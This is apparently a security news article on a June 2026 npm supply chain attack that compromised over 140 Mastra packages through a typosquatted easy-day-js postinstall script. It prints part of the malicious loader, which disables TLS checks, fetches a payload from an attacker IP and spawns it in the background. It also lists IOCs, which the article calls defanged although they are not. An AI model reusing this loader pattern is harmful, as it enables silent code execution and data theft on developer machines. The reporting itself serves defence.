Wednesday, September 16, 2026

Hackers Target npm Ecosystem by Compromising 140+ Mastra Packages

A large-scale software supply chain attack has compromised more than 140 npm packages under the widely used Mastra namespace, exposing developers, CI/CD pipelines, and enterprise environments to a stealthy cross-platform infostealer.

The campaign, uncovered by the Socket Research Team on June 17, 2026, leveraged a typosquatting dependency, easy-day-js, to silently deliver malicious payloads during package installation, significantly increasing the blast radius due to Mastra’s popularity in modern development workflows.

The attackers published 141 malicious package versions through a single npm account, “ehindero,” within a narrow time window. Notably, the actual @mastra/* package code remained unchanged, allowing the compromise to evade traditional source code reviews.

Instead, the threat was introduced via a dependency injection attack, where easy-day-js (a fake variant of the legitimate dayjs library) was added to package manifests.

Version 1.11.22 of easy-day-js weaponized a postinstall script, ensuring automatic execution upon npm install, even before developers interacted with the package.

Compromising 140+ Mastra Packages

The infection begins with a loader script (setup.cjs) that runs during installation. This script turns off TLS certificate validation, connects to attacker-controlled infrastructure, downloads a second-stage payload, runs it as a detached background process, and deletes itself to evade forensic detection.

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
const url = 'https://23.254.164.92:8000/update/49890878';
const stage2 = await (await fetch(url)).text();
child_process.spawn(process.execPath, [out, '23.254.164.123:443'], {
  detached: true, stdio: 'ignore'
}).unref();

The second-stage payload (protocal.cjs) is a persistent Node. A JS-based implant capable of executing arbitrary commands from a command-and-control (C2) server.

It establishes persistence across Windows, macOS, and Linux systems using platform-specific mechanisms such as registry Run keys, LaunchAgents, and systemd services.

Beyond persistence, the malware performs host reconnaissance. It collects sensitive data, including browser history (Chrome, Edge, Brave) and inventories of cryptocurrency wallet extensions across 160+ wallets, such as MetaMask, Phantom, and Coinbase Wallet.

While the recovered sample primarily inventories extensions, its modular design allows attackers to deploy additional payloads for credential theft and further exploitation.

Indicators of Compromise (IOCs)

TypeIndicator
C2 IP23.254.164.92
C2 IP23.254.164.123
URLhttps://23.254.164.92:8000/update/49890878
URLhttps://23.254.164.123:443/49890878
Fileprotocal.cjs
File.pkg_history / .pkg_logs
PersistenceNvmProtocal (Windows Run Key)
Persistencecom.nvm.protocal (macOS LaunchAgent)
Servicenvmconf.service (Linux)
SHA256b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4
SHA256221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

One of the most concerning aspects of this campaign is that it executes during dependency installation, meaning even passive environments, such as CI runners or automated build systems, are at risk.

The inclusion of highly popular packages like @mastra/core (over 918K weekly downloads) amplifies the potential scale of compromise.

The malware’s ability to turn off TLS validation, use ICAP-like covert communication, and masquerade as legitimate Node/NVM components demonstrates a high level of sophistication. Additionally, reuse of tooling observed in earlier campaigns suggests an organized and evolving threat actor.

Security teams are advised to treat any system that has installed affected versions as compromised. Immediate actions include removing malicious package versions, deleting the node_modules directory, and reinstalling clean dependencies.

Persistence mechanisms must be manually eradicated, and all potentially exposed credentials, including npm tokens, cloud secrets, and SSH keys, should be rotated.

Organizations should also enforce stricter dependency controls, such as disabling install scripts (npm install –ignore-scripts), implementing package allowlisting, and monitoring outbound network connections during builds.

This incident highlights the growing risk of transitive dependency attacks. It reinforces the need for runtime behavioral analysis alongside traditional code auditing.

CISO & Security Leaders: Your next breach may not have a face. Join ISC2’s LIVE webinar, “Ghost in the Machine”

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Hot this week

How To Access Dark Web Anonymously and know its Secretive and Mysterious Activities

What is Deep Web The deep web, invisible web, or...

How to Build and Run a Security Operations Center (SOC Guide) – 2023

Today’s Cyber security operations center (CSOC) should have everything...

Russian Hackers Bypass EDR to Deliver a Weaponized TeamViewer Component

TeamViewer's popularity and remote access capabilities make it an...

Web Server Penetration Testing Checklist – 2026

Web server pentesting is performed under three significant categories: identity,...

ATM Penetration Testing – Advanced Testing Methods to Find The Vulnerabilities

ATM Penetration testing, Hackers have found different approaches to...

Google Search Makes It Harder to See Where a Link Really Goes Before You Click

Google has begun routing some organic Search result links...

Phishing Attacks Abuse Trusted Email Infrastructure and URL Cloaking to Evade Security Filters

Phishing operators are increasingly shifting away from malware-laden attachments...

Hackers Actively Exploit Critical WooCommerce Plugin Vulnerability to Upload PHP Backdoors

Threat actors are actively exploiting a critical vulnerability in...

Weekly Cybersecurity Newsletter – Top 50 Biggest Cybersecurity Stories of the Week

Microsoft Patches 973 CVEs, Claude Agents Automate Attacks, China...

WordPress Events Calendar Vulnerabilities Let Hackers Take Over 600,000 Websites

Two critical unauthenticated vulnerability chains in the widely used...

Telegram Desktop XSS Vulnerability Lets Attackers Steal Entire Chat Histories

A stored cross-site scripting (XSS) vulnerability in Telegram Desktop...

Marimo RCE Flaw Lets Hackers Steal AWS Credentials and Pivot to Bastion Host in 8 Seconds

A threat actor exploited a critical pre-authentication remote code...

Related Articles

Recent News